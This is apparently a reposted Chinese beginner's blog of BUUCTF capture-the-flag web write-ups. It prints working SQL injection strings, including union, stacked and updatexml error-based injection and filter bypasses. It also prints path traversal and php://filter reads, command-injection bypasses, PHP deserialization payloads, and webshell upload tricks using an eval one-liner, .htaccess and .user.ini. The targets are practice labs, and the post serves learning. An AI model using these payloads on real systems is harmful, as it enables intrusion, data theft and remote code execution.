自学内容网 自学内容网

Buuctf Web题解

写在前面, 本人小白一枚,记录一下web做题过程,大部分为个人理解可能有些地方写的不够明确还请见谅。当然由于刚入手web题,所以有些题会没有思路,这时会参考其他大佬的题解过程。本文会一直更新,由于是第一次写博客,所以并不知道一篇能写多少,不管怎样会一直更新的。

在题解中,可能并没有说清除为什么是这样,什么要这样,其实大部分我也不知道是为什么,但就是这样做,由上所说我是个小白。

如果在文中,出现了只有题目没有题解的情况,是因为我还没有学习与之相关的知识,所以先跳过了,但总会写的。此外,如果有大佬有更好的方法,还请您留在评论区,谢谢!

目录

目录

[极客大挑战 2019]EasySQL

[极客大挑战 2019]Havefun

[HCTF 2018]WarmUp

[ACTF2020 新生赛]Include

[ACTF2020 新生赛]Exec

[GXYCTF2019]Ping Ping Ping

[SUCTF 2019]EasySQL

[强网杯 2019]随便注

[极客大挑战 2019]Secret File

[极客大挑战 2019]LoveSQL

[极客大挑战 2019]Http

[极客大挑战 2019]Knife

[极客大挑战 2019]Upload

[ACTF2020 新生赛]Upload

[极客大挑战 2019]BabySQL

[极客大挑战 2019]BuyFlag

[BJDCTF2020]Easy MD5

[HCTF 2018]admin

[MRCTF2020]你传你??呢

[ZJCTF 2019]NiZhuanSiWei x

[极客大挑战 2019]HardSQL

[MRCTF2020]Ez_bypass

[网鼎杯 2020 青龙组]AreUSerialz

[GXYCTF2019]BabyUpload

[SUCTF 2019]CheckIn


[极客大挑战 2019]EasySQL

进入页面后, 发现是一个登录界面, 先使用万能登录进行尝试

1' or 1=1 #

成功获取flag

[极客大挑战 2019]Havefun

进入页面后, 发现无任何显示, 点击 F12 查看

发现被注释掉的提示, 页面传入一个参数为cat的GET请求, 可以看到, 如果cat==‘dog’ 会输出一个flag格式的输出, 先试试该输出是不是正确的flag, 发现并不正确.

由于页面是一个GET请求, 所以传入参数 cat=dog

发现页面显示出了flag

[HCTF 2018]WarmUp

打开靶场后, 发现页面除了一个表情什么也没有, 直接F12 查看

发现提示 source.php

进入

出现php源码

if语句中, 有一个$_REQUEST请求, 获取传入的参数 file, 判断其是否为空, is_string判断是否为字符串, emm::checkFile调用emm类中的checkFile()函数.

checkFile()函数中,

whitelist定义了一个白名单, 里面包含允许被访问的页面地址

isset函数判断是否为空值, is_string判断是否是字符串

in_array函数判断$page是否在whitelist

mb_substr( $str, $start, $length, $encoding )
str  要截取的字符串
start 起始位置
end 结束位置
encoding 网页编码

 mb_strpos($haystack,$needle,$offset = 0,$encoding): int|false
haystack  要搜索的字符串, 原字符串
needle要查找的字符串,   子字符串
offset  搜索的起始位置
encoding   网页编码

urldecode 解码url

在了解了以上函数后,就可以分析代码了

if语句条件不成立时,输出图片, 可见并不能获得有效的信息, 那么我们就要让if语句条件成立,满足三个要求:

  1. file不为空
  2. file是字符串
  3. checkFile返回true

前两个条件很好满足, 关键是第三个, 在白名单中除了source.php之外,还存在一个hint.php,先查看一下hint.php

发现提示, flag在ffffllllaaaagggg

当访问时, 出现

可见直接访问不行,究其原因是因为 checkFile返回false,要想访问ffffllllaaaagggg,我们就要让checkFile返回True

checkFile要想返回True 有三种途径

第一种途径明显不可行, 看第二种途径,要想实现第二种途径,就要利用白名单中的数据。

发送请求file=source.php?ffffllllaaaagggg,此时的$_page=source.php,checkFile会返回True但是页面并没有任何的显示,这是因为

include $_REQUEST['file']返回的并没有结果, 也就是说ffffllllaaaagggg并不在当前目录下,那我们就要扩大范围进行搜索, 最简单的方法就是进入上一级目录进行搜索,所以

file=source.php?../ffffllllaaaagggg发现还是没有结果, 再次回到上一级目录.

直到file=source.php?../../../../../ffffllllaaaagggg 成功显示出flag.

由于 include $_REQUEST[‘file’]; 语句没有对相对路径进行任何限制或过滤,攻击者可以利用相对路径遍历漏洞(directory traversal vulnerability)来访问系统上的任意文件。在这种情况下,攻击者可以使用相对路径 …/…/…/…/…/ffffllllaaaagggg 来尝试访问位于系统根目录下的 ffffllllaaaagggg 文件。如果该文件存在且可读,那么它的内容将被包含在程序中。

[ACTF2020 新生赛]Include

打开页面发现一个链接, 点击

并没有什么用, 返回主页, F12进行查看

发现链接格式为: ?file=flag.php

直接使用 伪协议

输入命令

?file=php://filter/read=convert.base64-encode/resource=flag.php

显示出

进行base64解码, 获取到flag

[ACTF2020 新生赛]Exec

由题目可知, 这道题与php命令执行漏洞有关

常见的执行命令函数:

eval() 返回结果有限 shell_exec()

assert() passthru()

system()escapeshellcmd()

exec() pcntl_exec()

输入命令 127.0.0.1;ls, 发现确实存在命令执行漏洞, 但在此目录下只存在index.php

查看上级目录, 127.0.0.1;ls /;

存在一个flag, 使用命令127.0.0.1;cd /;cat flag;

得到flag

[GXYCTF2019]Ping Ping Ping

打开页面发现只有一个 /?ip, 结合题目的 ping ping ping, 先试着发送一个地址

得到回显, 使用命令127.0.0.1;ls;

查看到存在flag.php, 使用命令cat flag.php

得到输出, 检查你的空格, 猜测是过滤掉了空格, 使用 $IFS$1替换空格

提示变为, 检查你的标签, 不知道是什么意思, 我们先查看一下, index.php, 使用命令cat$IFS$1index.php

发现过滤了许多符号, 和flag这个参数, 使用 base64绕过, cat$IFS$1ZmxhZw==.php;发现有回显, 但并没有出现flagF12查看也没有. 换一种方式, 使用参数进行绕过m=flag;cat$IFS$1$m.php;

发现还是不行, 使用参数 + 拼接进行绕过, 还是不行, 使用大写+参数绕过n=ag;cat$IFS$1fl$n.php;, 点击F12 获取到flag

[SUCTF 2019]EasySQL

[强网杯 2019]随便注

打开靶场,先试一试查询数据库 1' and select database() #, 发现返回内容

猜测是过滤掉了 select|update|delete|drop|inser|where这些语句,使用show databases看一下

发现出现是错误提示,在报错哪里本来有个#应该会注释掉后面的内容,但是好像并没有注释掉,使用--+试一试,还是不可以,再此分析,应该是闭合搞错了

输入框中默认是数字,不进行闭合试一试 ,不进行闭合会产生回显,但是并没有输出想要的数据库名,试了下堆叠注入还是不行

使用永真式试了一下,发现多了一些内容(在这一步中,不进行闭合还是默认输出,就试了一下引号闭合,可能是前面分析的有问题)

得到一个’114514‘ ,完全不知道是什么,当成数据库试了试没什么用。

突然想到上面的闭合出现了错误,所以重试了一下堆叠注入。成功显示出数据库。

再使用show tables查看一下表,发现有两个表

使用 desc分边查看一下,查看全数字的表时要用反引号包裹起来

再第一个表里,显示出存在flag,但好像没有办法获取到

第二个表中有id和data两列

在正常情况下,我们只有输入1,2会产生回显,观察这个回显,会发现它正好是id+data,说明正常显示的words,所以我们只需要篡改表名即可,将存在 flag的名字篡改为words表,那么当我输入的时候显示全部信息。

rename table 旧表名 to 新表名 1';rename table `1919810931114514` to words;--+出现以下情况,应该是注入成功了

查看一下,发现并不行,再分析一下,由于words表中存在两列,id+data,而我们修改后的words表中,表只有一列,也就是flag这一列,当我们进行查询时,可能是无id的原因,所以并不能显示出来,所以我们将flag这一列改为id,使用命令alter table words change flag id varchar(100);

这里需要注意,数据库中好像不允许存在两个相同的表名,所以我们先将words表换一个名字

rename table words to word,成功修改

使用永真,成功获取flag

[极客大挑战 2019]Secret File

打开靶场,无任何信息提示,点击F12查看源码

在源码中,有一个a链接,其链接到一个php中,直接点击进入到php

打开后为一下界面,提示点进去看一看,那就点进去

出现了以下内容,他这里显示没看清,有可能是在页面切换的时候,flag可能会直接闪过,直接burp抓包

burp抓包成功后,一步一步放行,在出现以下内容时,发现一个与flag格式相同的数据,尝试提交一下,在抓包时最好先运行一下,然后再抓包,不会会出现一些没用的东西。

在抓包后,将其发送到repeater中,点击send,在右侧出现了一个php,在浏览器中进去

进入secr3t.php中,发现提示,flag在flag.php中, 进去看一下

显示如下内容, flag应该在页面中, 但它提示看不见, F12查看一下源码

源码好像没什么提示, 因为提示就在这里, 而且有一个背景色的属性,尝试将背景改一下

去除背景色后, 发现没什么用

完全没用, 在之前的几步中, 我们在scer3t.php中可以看到php源码, 回去分析一下代码.

整体来说, 是scer3t.php会接受一个$file, 然后进行判断

stristr函数, 是判断字符在字符串中第一次出现的位置

在这里的php中, 如果敏感的话, 我们就可以发现$file=$_GET['file'], 与伪协议有关系, 而且传的参数是file, 很大可能与php://filter流有关系, (做完题回想的话, 在flag.php中提示看不见flag, 应该也算一种提示)

确定到这一步后, 直接

php://filter/read=convert.base64-encode/resource=index.php(文件名)

有东西显示出来, 因为是基于base64, 所有直接base64解码

解码后是一个html, 里面出现了flag, 尝试一下

成功通过

[极客大挑战 2019]LoveSQL

进入靶场后, 发现是一个登录页面, 先试一试 1’ or 1=1 #, 密码任意

尝试后发现, 登录成功, 而且给出了用户名和密码, md5撞库试一试, 尝试了几个网站, 什么结果也没有, 尝试一下十六进制转ASCII码, 发现乱码, 没用。

回到登录页面, 直接使用给的用户名和密码尝试一下,是可以进去的,但好像没啥用

回到登录页面,F12查看一下, 发现一个 sqlmap

才发现,页面顶部有东西,既然是sqlmap, 尝试下sql注入

先判断闭合方式,发现是单引号闭合,使用命令admin' order by 3 #

出现回显,但提示输入用户名和密码,尝试了其他方式,要么提示输入用户名和密码,要么提示密码错误,要么就是,下图这玩意。

看了一下大佬的题解,发现注释不能使用 # ,而要使用#的url编码, %23,完全不知道为什么,好像有的题就可以使用,猜测可能是过滤掉了#,但是在刚开始登录的时候,注释用的就是#而且登录成功。然后尝试了一下,发现不行了。

然后在输入框的注入是可以的,但在url这里又不行,拿burp抓包尝试了一下,发现这里输入#的话会注释掉后面的内容。所以如果直接在url这里输入#的话,它不会将其转为url编码,而是直接识别成了一个注释

如过在url中直接输入#,这里的get请求就只有username而没有password了

使用 --+进行注释也是一个道理。

所以将#url编码为%23,之后就可以回归正轨了

尝试到 order by 4 产生报错, 说明只有三列。

然后判断一下,用户名和密码这两个位置是哪几列,使用联合注入命令

union select 1,2,3,发现回显是2,3列(这里的用户名不要用admin)

直接使用 union select 1,group_concat(schema_name),3 from information_schema.schemata 的话,数据库名都堆起来了,完全看不清

所以使用,union select 1,database(),3 发现当前的数据库是 geek

使用命令查看一下数据库中的表

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

发现存在两个表 geekuser,l0ve1ysq1

使用命令查看一下,数据库中的列名

union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database()

看来geekuser,l0ve1ysq1两个表的属性都为id+name+passwd

使用命令查看一下,geekuser中的所有id和username,

union select 1,group_concat(id),group_concat(username) from geekuser

发现只有一个,看来 geekuser中存储的刚刚获得用户名admin和其密码

再看一下l0ve1ysq1表,使用命令

union select 1,group_concat(id),group_concat(username) from l0ve1ysq1 %23&password=1

发现第十六列,存储的用户名是falg,所有查看其密码就行

使用命令

union select 1,group_concat(id),group_concat(password) from l0ve1ysq1 %23&password=1

获取到flag

还是使用limit直接查看比较方便

union select 1,id,password from l0ve1ysq1 limit 15,16 %23&password=1

[极客大挑战 2019]Http

打开题目给的链接后,发现是一个介绍页面,老样子F12查看源码

代码有点多,换CTRL+U查看,再氛围这里有个php,进去

http://node5.buuoj.cn:29160/Secret.php,发现了一个新的页面,F12查看,什么也没有,进入页面给的网址中试试

进入后是404,注意到链接这里,https被划掉了,然后题目又是htpp,将https改为http试试

一直卡在了404界面,先不管它,回去找一找其他线索

注意到Secret.php页面显示的是,它不是来自“https://Sycsecret.buuoj.cn”,涉及到知识盲区了,查看一下其他大佬写的题解,知识盲区,先照着大佬的题解做一遍。

对Secert.php抓包,发送到Repeater中

伪造网站访问,referer

然后根据提示,伪造访问的浏览器名

之后伪造本地访问,X-Forwarded-For

最后send一下,获得flag。

**Referer:**浏览器向 WEB 服务器表明自己是从哪个 网页/URL 获得/点击 一般为当前请求中的网址/URL

User-Agent: 浏览器表明自己的身份(是哪种浏览器)。

**X-Forwarded-For:**在客户端访问服务器的过程中如果需要经过HTTP代理或者负载均衡服务器,可以被用来获取最初发起请求的客户端的IP地址,这个消息首部成为事实上的标准。

注意到Secret.php页面显示的是,它不是来自“https://Sycsecret.buuoj.cn”,涉及到知识盲区了,查看一下其他大佬写的题解,知识盲区,先照着大佬的题解做一遍。

对Secert.php抓包,发送到Repeater中

伪造网站访问,referer

然后根据提示,伪造访问的浏览器名

之后伪造本地访问,X-Forwarded-For

最后send一下,获得flag。

**Referer:**浏览器向 WEB 服务器表明自己是从哪个 网页/URL 获得/点击 一般为当前请求中的网址/URL

User-Agent: 浏览器表明自己的身份(是哪种浏览器)。

**X-Forwarded-For:**在客户端访问服务器的过程中如果需要经过HTTP代理或者负载均衡服务器,可以被用来获取最初发起请求的客户端的IP地址,这个消息首部成为事实上的标准。

[极客大挑战 2019]Knife

打开靶机后,注意到 eval 这个关键函数,可能是命令执行漏洞

尝试发送了几个Linux命令,但都没有显示,burp抓包试一试,也没什么用。

上网搜索了一下,web 菜刀,发现是webshell,与木马脚本有关,要用到中国蚁剑,然后再回顾一下 eval($_POST[]);,确实像是一句话木马的形式。

使用蚁剑右键添加数据,连接密码为上传的一句话木马的参数

测试连接,连接成功

添加数据后,进入文件管理中

查看到根目录这里,有一个flag文件

进入后发现flag

[极客大挑战 2019]Upload

根据题目,Upload,可能与文件上传漏洞有关系,打开靶机后,发现要上传文件,应该是文件上传漏洞了。

这里随便上传了一共压缩包,提交后出现提示,Not image!,看来必须要上传图片,这里先写一个一句话木马

用记事本写了个一句话木马,将其后缀改为jpg

这时候,就要用到burp抓包进行篡改了,因为我们要上传的木马后缀应该为php,但题目要求只能上传图片格式,用burp抓包,在其上传过程中,在请求中修改后缀,就可以绕过认证了。

在这里上传后,提交时进行抓包,改完后缀后,Forward通过即可

这里提交后,出现Not php,看来不能使用php的一句话木马

这里尝试了asp后缀,可以看到其显示发生变化,说明在上传文件这一步成功绕过了前端的检测,但后端应该是还存在检测,使用 幻术头 绕过试一试, 文件幻术头,就是在文件前面添加图片对应的标志头部,以绕过后端。

这里在尝试jpg,gif十六进制头的时候,不知道为什么成功不了,将gif十六进制转为字符突然就行了

成功上传

这里又出现问题,不管怎么连都连接不上,URL的地址是上传的木马所在地址,因为是上传文件,一般情况下其地址为upload/xxx,这里用浏览器可以查看。

不知道为什么一直连接不上。这里换了aspx也是一样的问题。

查看了一下题解,用phtml试了一下

GIF89a

成功上传,蚁剑连接一下,ok,还是连接不上。

后面才发现,原来是我拼写错误,将script写成了scrpit,更改后成功连接。

这里直接在根目录找到了flag文件,点进去就是flag了

后缀:

phtm, phtml,phps

[ACTF2020 新生赛]Upload

打开靶场,鼠标移动到灯这里,模糊显示上传文件

这里上传一个php木马,试试

这里提示要上传图片,而且是以jpg,png,gif结尾的图片

这里随便上传了一张图片,然后给出了文件的地址

这里看了下这个路径,发现被禁止了,应该是权限不够

这里尝试,上传php木马,burp抓包绕过试试,将文件后缀改为phtml

成功上传,

根据提示的路径,使用蚁剑连接,成功连接,密码为传入的参数

还是在根目录这里找到flag

[极客大挑战 2019]BabySQL

打开页面,发现是一个登录界面,首先尝试万能密码登录

发现错误提示,提示中少了一个or, 说明or被过滤,使用双写进行绕过,登录成功

对密码进行md5碰撞,没有什么用,进行sql注入,这里使用order by查询列数时,报错只显示了“der 2”说明or 和 by 被过滤,还是使用双写绕过

这里尝试到4时。产生报错,说明只有3列,接下来,判断回显的是哪几列。

这里进行联合注入时,发现union和select被过滤,同样使用双写进行绕过,注入成功后,发现注入点显示2,3,说明产生回显的第二列和第三列。接下来正常进行,判断数据库,表

数据库为 geek, 命令为

1’ ununionion seselectlect 1,database(),3 %23 &password=1

联合注入查询表时,产生错误,where被过滤,from被过滤,同时or在前面已经判断被过滤了

使用命令:

1’ ununionion seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema=database() %23 & password=1

查询到两个表,b4bsql,geekuser

接下来,查询表中的列,查询到b4bsql如下,id+nam+pass,命令:

uniounionn sselectelect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name = ‘b4bsql’

这里查询,username和password,可以看到在最后一列有flag,直接提交即可,命令

uniounionn sselectelect 1,group_concat(username),group_concat(passwoorrd) frfromom b4bsql

看着不方便,使用limit进行限制,命令

uniounionn sselectelect 1,username,passwoorrd frfromom b4bsql limit 7,1

[极客大挑战 2019]BuyFlag

打开靶场,点击右上角的MENU

发现,flag需要钱

f12进行源码分析,发现这里有一个php,参数为password,注释提示请求moeny和password,password为404的同时且不能为数字,这里的是==,弱类型比较,直接404a,即可

同时需要是GUIT的学生

burp抓包,get改为post请求,将user改为GUIT,点击发送

页面好像没有变化,因为刚开始的cookie为0(false),改为1试试

改成1后,显示是GUIT的用户,接下来请求moeny和password即可

这里显示数字太长,将其改为科学计数法,1e9

成功获取flag

[BJDCTF2020]Easy MD5

[HCTF 2018]admin

打开靶场,发现是个登录页面,尝试永真登录

产生内部错误,根据题目admin,初步思路是登录到admin这个用户。

这里随便注册了一个用户,发现右边有更改密码的一个选项

进去后,发现是直接进行密码更改,所以思路为,在注册一个用户时使用一些特别的符号,以绕过后端的sql语句,让在其登录后,在修改密码这一步,改的的admin的密码。

先假设修改密码的sql语句如下:

update users

set password=”***“

where user=***

如果要修改admin的用户密码,那么在注册时,注册的用户名为 admin#,则修改语句就会变为

update users

set password=”***“

where user=admin #

从而达到修改admin密码。

尝试时,成功登录,获得flag

[MRCTF2020]你传你??呢

靶场如下图所示,根据题目和文件上传,大概率是上传木马,然后使用蚁剑连接

这里上传了一个phtml的一句话木马,好像行不通,被过滤了

尝试上使用图片一句话,同样的问题

这里尝试到asp后缀时,成功上传

成功上传后,显示出了文件路径

这里不知道为什么蚁剑连不上,换了aspx也是,查看题解,利用.htaccess漏洞

<FilesMatch “one.jpg”>

SetHandler application/x-httpd-php

将其放在文本文件中,另存为全部文件,上传即可,上过过程中使用burp进行抓包,利用Content-Type: image/jpeg 来绕过检测

成功上传后,在上传一个一句话木马,此一句话木马明明必须和.htaccess中FilesMatch后的相对应,之后利用蚁剑进行连接即可

在网站根目录处,找到flag

[ZJCTF 2019]NiZhuanSiWei x

可以看到,该php中需要get三个请求参数,text,file,password。进行代码审计在第一个if语句中,isset()判断text是否为空值, file_get_contents()读取文件, 看到这个函数应该是与php伪协议有关系。

这里用到php://input协议,post请求内容中写入要读取文件的内容,使用burp进行抓包,进行伪协议,操作点如下图所示,当出现右图welcome to the zjctf表明第一层已经进入

继续查看php代码,在第二个if语句中,有一个注释useless.phpinclude()两个点, 文件包含漏洞以及伪协议,使用命令

file=php://filter/read=convert.base64-encode/resource=useless.php

成功显示出base64加密后的数据

base64解码后, 显示出php代码

在原本的php代码中, 有一个关键点unserialize()函数, 反序列化。在得到的php代码中,有一个魔术方法__tostring()利用这一点,按照反序列化的步骤,进行序列化,得到

O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

这里file要改为useless.php,先前使用伪协议是因为要获得该php中的内容,这里要更改是因为我们要调用useless.php中代码,这里成功得到后,使用F12查看源码,显示出flag

[极客大挑战 2019]HardSQL

打开靶场后,还是一个登录界面,先尝试1' or 1=1 %23

没什么用,尝试sql注入,堆叠注入,时间盲注,报错均返回同一页面。那么猜测可能是有些符号被过滤了,尝试判断一下,使用fuzz进行测试

首先,使用burp进行抓包,发送到Intruder中,设置name为可变量,在该页面的右侧有添加§的按钮

在进行过滤前,先要掌握,如何判断是否被过滤,首先进行手动的查看, 如果我们正常输入,他给我们的提示是

但是当我们输入的存在可能的被过滤的符号时,他给的提示是

如上所示,我们的到第二幅图的提示消息,则说明这个关键字是被过滤掉的,接下来我们继续进行fuzz测试

在Payloads中加载字典,如何点击右上角的Start Attack

得到结果后,点击一条数据,我们可以在Response中的Render上看到可视化的信息

由此可以判断length=784,则说明该关键字被过滤掉了。这道题被过滤的关键字还是很多的。

查询一下被过滤的关键字,我们可以发现 or是没有被过滤掉的,但是=被过滤,所以使用永真式,进行登录时,是不可行的。但是在过滤的关键字中,我们可以发现,show是没有被过滤掉的,但是使用堆叠注入时,确实显示有过滤的符号,

那么只有空格被过滤才会出现这种情况。那么绕过空格过滤,使用/**/或者(),在过滤的关键字中,/**/是被过滤掉的,所以我们使用()来绕过过滤。

如果对show database;进行()绕过的话,会有语法问题,有待解决。

-----------------------------------------------------------------------------------------------------

()绕过过滤的前提是,子查询,只有子查询才可以使用()绕过空格,而show database;是系统管理命令,并表示一个子查询的语句,所以这里不能使用()来绕过。

----------------------------------------------------------------------------------------------------

这里使用select查看当前数据库,但是他返回如下情况。

猜测是不存在回显,既然无法回显,那只能使用时间和报错,但是时间注入的关键字sleep和benchmark被过滤,那这里使用报错注入,构造如下语句

1'or(updatexml(1,concat(0x7e,database()),1))%23

出来了,可以看到这里的数据库为,geek

接下来就好办了,按照以往的步骤就行,查表,查名,查数据。

构造语句

username=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=14

的到表名,H4rDsq1

构造语句

username=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=14

得到字段,id,username,password

构造语句

username=1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=14

可以发现字段password下存的应该就是flag了,但是显示不全,这里要搭配使用left()和right()函数,格式为

left/right(字段,长度)

构造语句

username=1'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))%23&password=14

得到后半段flag。

[MRCTF2020]Ez_bypass

打开靶场, 初步查看是PHP代码, 题目提示F12下的有东西

进去什么也没有发现, 那么就分析一下PHP代码, 这里使用CTRL+U比较方便查看

初步查看代码后, 发现要想获得flag, 必须绕过四层

接下来我们一层一层进去, 在第一层中, 会GET两个参数idgg

if (md5($id) === md5($gg) && $id !== $gg)

这里将其转为md5后强相等, 但是两个参数不能完全相等, 也就是说id和gg在满足md5相等的情况下, 其类型和内容不能相等, 只有这样才能绕过第一层

这里绕过很简单, 由于md5加密时,会将原始数据转化为固定长度的字符串,生成一个128位散列值,也就是说他会做类似强制类型转换的操作.

一个数字,一个字符串,这样md5后的结果是相等的. 但是这里是使用get的,它接收的类型都会变为String

这里可以使用fastcoll工具生成两个不相等但md5相等的字符串,也可以使用数组进行绕过

构造语句

**/?id[]=a&gg[]=a**

可以观察到, 绕过了第一层

if (!is_numeric($passwd))

**is_numeric()**这个函数是判断是否是数字的,也就是说我们只要传入的passwd参数不是一个数字,那么就可以绕过这一层

构造语句为

可以看到成功绕过

接下来的一层是一个弱相等

构造语句

得到结果

[网鼎杯 2020 青龙组]AreUSerialz

又是一道代码题, 但是根据题目以及unserialize()可以猜到与反序列化有关

继续查看代码,可以查到,在FileHandler类中的read函数,有一个file_get_contents()函数,看到这个函数首先联想到php伪协议,同时类中有read和write两个函数,由op的值进行操控,因为是要获取flag,所以这里直接让op=2,调用read函数

构造语句:
O:11:“FileHandler”:3{s:5:“*op”;i:2;s:11:“*filename”;s:57:“php://filter/read=convert.base64-encode/resource=flag.php”;s:10:“*content”;N;}

得到如下内容

查看代码发现,这里给op赋值好像没有成功,无论是给1还是2,都是这样。

这里再回到代码,因为是反序列化的题目,所以我这里直接没有看is_valid()函数,但结果不正确,所以回来分析一下这个函数

明显可以看到,$obj =unserialize(),要成功运行,is_valid()函数必须返回true,而is_valid()函数里是一个循环,可以看到它会一个一个进行遍历,只要存在ascii码不在32和125之间就会返回flase,答案呼之既出了。

但这里在检查时,发现没有超出范围的数字,这里回看了以下以前反序列化的结果

发现在本题构造的语句中,多了个*,可能是问题所在,将语句修改一下,修改时发现了一个问题,它的长度和字符串的长度不一致?

就算加上*长度也才是3,但这里给了5。查看了一下题解,发现这里面有隐藏字符,F12才能看出来

回归正轨,现在的目的很明确了,修改长度和字符即可,结果语句为

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

得到结果,base64解码

获得flag

[GXYCTF2019]BabyUpload

打开靶场,发现是一个上传文件的,大概率就是文件上传漏洞了

直接上传一个php的一句话木马

这里提示后缀名不能有ph,大小写也无法绕过,那么这里上传asp的一句话木马,没有用

这里上传图片马也没有用,上传正常jpg,png图片也不行

那这里抓包绕过一下

成功上传,接下来就是使用蚁剑了

虽然上传成功,但是蚁剑连接不上

那这里使用.htaccess漏洞,绕过

上传成功

接下来上传,jpg,还是绕过

上传成功

使用蚁剑连接,还是连不上。。。。。。。

重新上传,发现上传不上去了

查看题解,发现有的能上传,有的使用php木马的另一种写法

<script language="php">eval($_REQUEST['shell']);</script>

这里尝试了一下,发现可以上传

蚁剑连接也成功了

这里在根目录下,可以查找到flag

在上传.htaccess后,上传php时,它一直显示

这里尝试了一下,发现是在后端中,它会检测内容,当包含 <php时就会产生这个提示,在上上传成功的一次是,可能是因为偶然性,后端在检测内容时,可能会存在一时的“疏忽”,所以当时上传成功,但是不知道为什么无法使用蚁剑连接,是因为删除了吗?这里只是我的猜测。

这里使用aspx也是一个问题

[SUCTF 2019]CheckIn

又是一道文件上传的题目

还是先上传php木马,提示非法的后缀

绕过一下,抓包处理,发现还是不行,直接上传.htaccess

这里上传是,提示不是图片,文件幻术头绕过

上传,接下来上传one.jpg

这里提示不能有<,那就换另一种写法,同时加入幻术头

上传成功,这里可以看到存在.htaccess和one.jpg

注意:这里上传的文件不会一直存储,到一定时间它会删除文件

但是这里使用蚁剑连接,连不上, 换另外一种方法, 由于这里本身存在一个php可执行文件, 所以可以使用.user.ini漏洞

上传漏洞内容

auto_prepend_file=one.jpg 所有php文件自动包含one.jpg文件

连接时,使用的对象名是存在的可执行文件,连接对象是存在的可执行文件

注意: 这里要使用文件幻术头来绕过后端的过滤

上传成功

使用蚁剑连接, 这里连接的对象是存在php可执行文件,连接成功

终端输入命令, 可查看到flag


原文地址:https://blog.csdn.net/m0_54854484/article/details/144379429

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!